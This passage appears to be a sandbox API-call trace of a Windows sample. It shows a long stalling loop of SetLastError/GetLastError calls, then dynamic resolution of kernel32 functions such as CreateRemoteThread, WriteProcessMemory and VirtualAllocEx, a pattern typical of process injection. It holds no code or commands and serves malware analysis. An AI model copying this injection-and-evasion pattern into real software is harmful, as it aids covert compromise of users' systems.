returned 0x2cd [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2d1) [0290.723] GetLastError () returned 0x2d1 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2d5) [0290.723] GetLastError () returned 0x2d5 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2d9) [0290.723] GetLastError () returned 0x2d9 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2dd) [0290.723] GetLastError () returned 0x2dd [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2e1) [0290.723] GetLastError () returned 0x2e1 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2e5) [0290.723] GetLastError () returned 0x2e5 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2e9) [0290.723] GetLastError () returned 0x2e9 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2ed) [0290.723] GetLastError () returned 0x2ed [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2f1) [0290.723] GetLastError () returned 0x2f1 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2f5) [0290.723] GetLastError () returned 0x2f5 [0290.723] GetCurrentThread () returned 0xfffffffe [0290.723] SetLastError (dwErrCode=0x2f9) [0290.723] GetLastError () returned 0x2f9 [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x2fd) [0290.724] GetLastError () returned 0x2fd [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x301) [0290.724] GetLastError () returned 0x301 [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x305) [0290.724] GetLastError () returned 0x305 [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x309) [0290.724] GetLastError () returned 0x309 [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x30d) [0290.724] GetLastError () returned 0x30d [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x311) [0290.724] GetLastError () returned 0x311 [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x315) [0290.724] GetLastError () returned 0x315 [0290.724] GetCurrentThread () returned 0xfffffffe [0290.724] SetLastError (dwErrCode=0x319) [0290.724] GetLastError () returned 0x319 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x31d) [0290.725] GetLastError () returned 0x31d [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x321) [0290.725] GetLastError () returned 0x321 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x325) [0290.725] GetLastError () returned 0x325 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x329) [0290.725] GetLastError () returned 0x329 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x32d) [0290.725] GetLastError () returned 0x32d [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x331) [0290.725] GetLastError () returned 0x331 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x335) [0290.725] GetLastError () returned 0x335 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x339) [0290.725] GetLastError () returned 0x339 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x33d) [0290.725] GetLastError () returned 0x33d [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x341) [0290.725] GetLastError () returned 0x341 [0290.725] GetCurrentThread () returned 0xfffffffe [0290.725] SetLastError (dwErrCode=0x345) [0290.726] GetLastError () returned 0x345 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x349) [0290.726] GetLastError () returned 0x349 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x34d) [0290.726] GetLastError () returned 0x34d [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x351) [0290.726] GetLastError () returned 0x351 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x355) [0290.726] GetLastError () returned 0x355 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x359) [0290.726] GetLastError () returned 0x359 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x35d) [0290.726] GetLastError () returned 0x35d [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x361) [0290.726] GetLastError () returned 0x361 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x365) [0290.726] GetLastError () returned 0x365 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x369) [0290.726] GetLastError () returned 0x369 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x36d) [0290.726] GetLastError () returned 0x36d [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x371) [0290.726] GetLastError () returned 0x371 [0290.726] GetCurrentThread () returned 0xfffffffe [0290.726] SetLastError (dwErrCode=0x375) [0290.727] GetLastError () returned 0x375 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x379) [0290.727] GetLastError () returned 0x379 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x37d) [0290.727] GetLastError () returned 0x37d [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x381) [0290.727] GetLastError () returned 0x381 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x385) [0290.727] GetLastError () returned 0x385 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x389) [0290.727] GetLastError () returned 0x389 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x38d) [0290.727] GetLastError () returned 0x38d [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x391) [0290.727] GetLastError () returned 0x391 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x395) [0290.727] GetLastError () returned 0x395 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x399) [0290.727] GetLastError () returned 0x399 [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x39d) [0290.727] GetLastError () returned 0x39d [0290.727] GetCurrentThread () returned 0xfffffffe [0290.727] SetLastError (dwErrCode=0x3a1) [0290.728] GetLastError () returned 0x3a1 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3a5) [0290.728] GetLastError () returned 0x3a5 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3a9) [0290.728] GetLastError () returned 0x3a9 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3ad) [0290.728] GetLastError () returned 0x3ad [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3b1) [0290.728] GetLastError () returned 0x3b1 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3b5) [0290.728] GetLastError () returned 0x3b5 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3b9) [0290.728] GetLastError () returned 0x3b9 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3bd) [0290.728] GetLastError () returned 0x3bd [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3c1) [0290.728] GetLastError () returned 0x3c1 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3c5) [0290.728] GetLastError () returned 0x3c5 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3c9) [0290.728] GetLastError () returned 0x3c9 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3cd) [0290.728] GetLastError () returned 0x3cd [0290.728] GetCurrentThread () returned 0xfffffffe [0290.728] SetLastError (dwErrCode=0x3d1) [0290.728] GetLastError () returned 0x3d1 [0290.728] GetCurrentThread () returned 0xfffffffe [0290.729] SetLastError (dwErrCode=0x3d5) [0290.729] GetLastError () returned 0x3d5 [0290.729] GetCurrentThread () returned 0xfffffffe [0290.729] SetLastError (dwErrCode=0x3d9) [0290.729] GetLastError () returned 0x3d9 [0290.729] GetCurrentThread () returned 0xfffffffe [0290.729] SetLastError (dwErrCode=0x3dd) [0290.729] GetLastError () returned 0x3dd [0290.729] GetCurrentThread () returned 0xfffffffe [0290.729] SetLastError (dwErrCode=0x3e1) [0290.729] GetLastError () returned 0x3e1 [0290.729] GetCurrentThread () returned 0xfffffffe [0290.729] SetLastError (dwErrCode=0x3e5) [0290.729] GetLastError () returned 0x3e5 [0290.729] GetCurrentThread () returned 0xfffffffe [0290.729] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x100) returned 0x473f5a8 [0290.733] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x373c) returned 0x46c04a0 [0290.733] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.733] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6c8 [0290.733] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0290.734] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0290.734] lstrlenA (lpString="kernel32.dll") returned 12 [0290.787] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.787] lstrlenA (lpString="GetModuleHandleA") returned 16 [0290.787] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.787] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.787] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6c8 [0290.787] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0290.787] lstrlenA (lpString="kernel32.dll") returned 12 [0290.787] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.787] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0290.787] lstrlenA (lpString="GetProcAddress") returned 14 [0290.787] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.787] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x19) returned 0x473f6b0 [0290.788] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0290.788] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0290.788] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.788] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.788] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0290.788] lstrlenA (lpString="Process32First") returned 14 [0290.788] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.788] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.788] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0290.788] lstrlenA (lpString="Process32Next") returned 13 [0290.788] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.788] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.788] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0290.788] lstrlenA (lpString="Module32First") returned 13 [0290.788] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.788] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.789] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0290.789] lstrlenA (lpString="Module32Next") returned 12 [0290.789] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.789] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x13) returned 0x473f6b0 [0290.789] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0290.789] lstrlenA (lpString="CreateRemoteThread") returned 18 [0290.789] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.789] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x13) returned 0x473f6b0 [0290.789] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0290.789] lstrlenA (lpString="WriteProcessMemory") returned 18 [0290.789] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.789] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x12) returned 0x473f6b0 [0290.789] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0290.789] lstrlenA (lpString="ReadProcessMemory") returned 17 [0290.789] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.789] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.790] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0290.790] lstrlenA (lpString="OpenProcess") returned 11 [0290.790] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.790] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.790] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0290.790] lstrlenA (lpString="VirtualAllocEx") returned 14 [0290.790] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.790] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.790] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0290.790] lstrlenA (lpString="VirtualFreeEx") returned 13 [0290.790] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.790] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.790] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0290.790] lstrlenA (lpString="VirtualProtect") returned 14 [0290.790] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.790] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x14) returned 0x473f6b0 [0290.790] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0290.791] lstrlenA (lpString="WaitForSingleObject") returned 19 [0290.791] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.791] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.791] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0290.791] lstrlenA (lpString="SetLastError") returned 12 [0290.791] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.791] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x15) returned 0x473f6b0 [0290.791] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0290.791] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0290.791] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.791] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x15) returned 0x473f6b0 [0290.791] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0290.791] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0290.791] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.791] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.791] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0290.791] lstrlenA (lpString="CreateProcessA") returned 14 [0290.792] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.792] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x13) returned 0x473f6b0 [0290.792] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0290.792] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0290.792] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.792] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.792] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0290.792] lstrlenA (lpString="SetFilePointer") returned 14 [0290.792] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.792] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.792] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0290.792] lstrlenA (lpString="SetEndOfFile") returned 12 [0290.792] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.792] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.792] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0290.792] lstrlenA (lpString="FindFirstFileA") returned 14 [0290.793] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.793] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.793] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0290.793] lstrlenA (lpString="FindNextFileA") returned 13 [0290.793] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.793] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xa) returned 0x473f6b0 [0290.793] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0290.793] lstrlenA (lpString="FindClose") returned 9 [0290.793] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.793] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.793] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0290.793] lstrlenA (lpString="CreateFileA") returned 11 [0290.793] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.793] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.793] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0290.793] lstrlenA (lpString="CreateFileW") returned 11 [0290.793] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.793] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x9) returned 0x473f6b0 [0290.794] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0290.794] lstrlenA (lpString="ReadFile") returned 8 [0290.794] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.794] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xa) returned 0x473f6b0 [0290.794] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0290.794] lstrlenA (lpString="WriteFile") returned 9 [0290.794] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.794] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.794] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0290.794] lstrlenA (lpString="CloseHandle") returned 11 [0290.794] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.794] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.794] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0290.794] lstrlenA (lpString="DeleteFileA") returned 11 [0290.794] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.794] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.795] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0290.795] lstrlenA (lpString="LoadLibraryA") returned 12 [0290.795] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.795] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x13) returned 0x473f6b0 [0290.795] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0290.795] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0290.795] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.795] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xa) returned 0x473f6b0 [0290.795] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0290.795] lstrlenA (lpString="MoveFileA") returned 9 [0290.795] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.795] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xa) returned 0x473f6b0 [0290.795] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0290.795] lstrlenA (lpString="LocalFree") returned 9 [0290.795] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.795] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6b0 [0290.795] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0290.795] lstrlenA (lpString="CreateDirectoryA") returned 16 [0290.796] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.796] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x16) returned 0x473f6b0 [0290.796] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0290.796] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0290.796] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.796] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.796] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0290.796] lstrlenA (lpString="CreateThread") returned 12 [0290.796] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.796] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xb) returned 0x473f6b0 [0290.796] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0290.796] lstrlenA (lpString="OpenThread") returned 10 [0290.796] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.796] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x1a) returned 0x473f6b0 [0290.796] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0290.796] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0290.797] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.797] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6b0 [0290.797] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0290.797] lstrlenA (lpString="VirtualProtectEx") returned 16 [0290.797] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.797] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x13) returned 0x473f6b0 [0290.797] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0290.797] lstrlenA (lpString="GetFileAttributesW") returned 18 [0290.797] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.797] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.797] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0290.797] lstrlenA (lpString="FindResourceA") returned 13 [0290.797] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.797] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.798] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0290.798] lstrlenA (lpString="SizeofResource") returned 14 [0290.798] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.798] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.798] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0290.798] lstrlenA (lpString="LoadResource") returned 12 [0290.798] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.798] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.798] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0290.798] lstrlenA (lpString="CreateProcessW") returned 14 [0290.798] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.798] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x17) returned 0x473f6b0 [0290.799] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0290.799] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0290.799] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 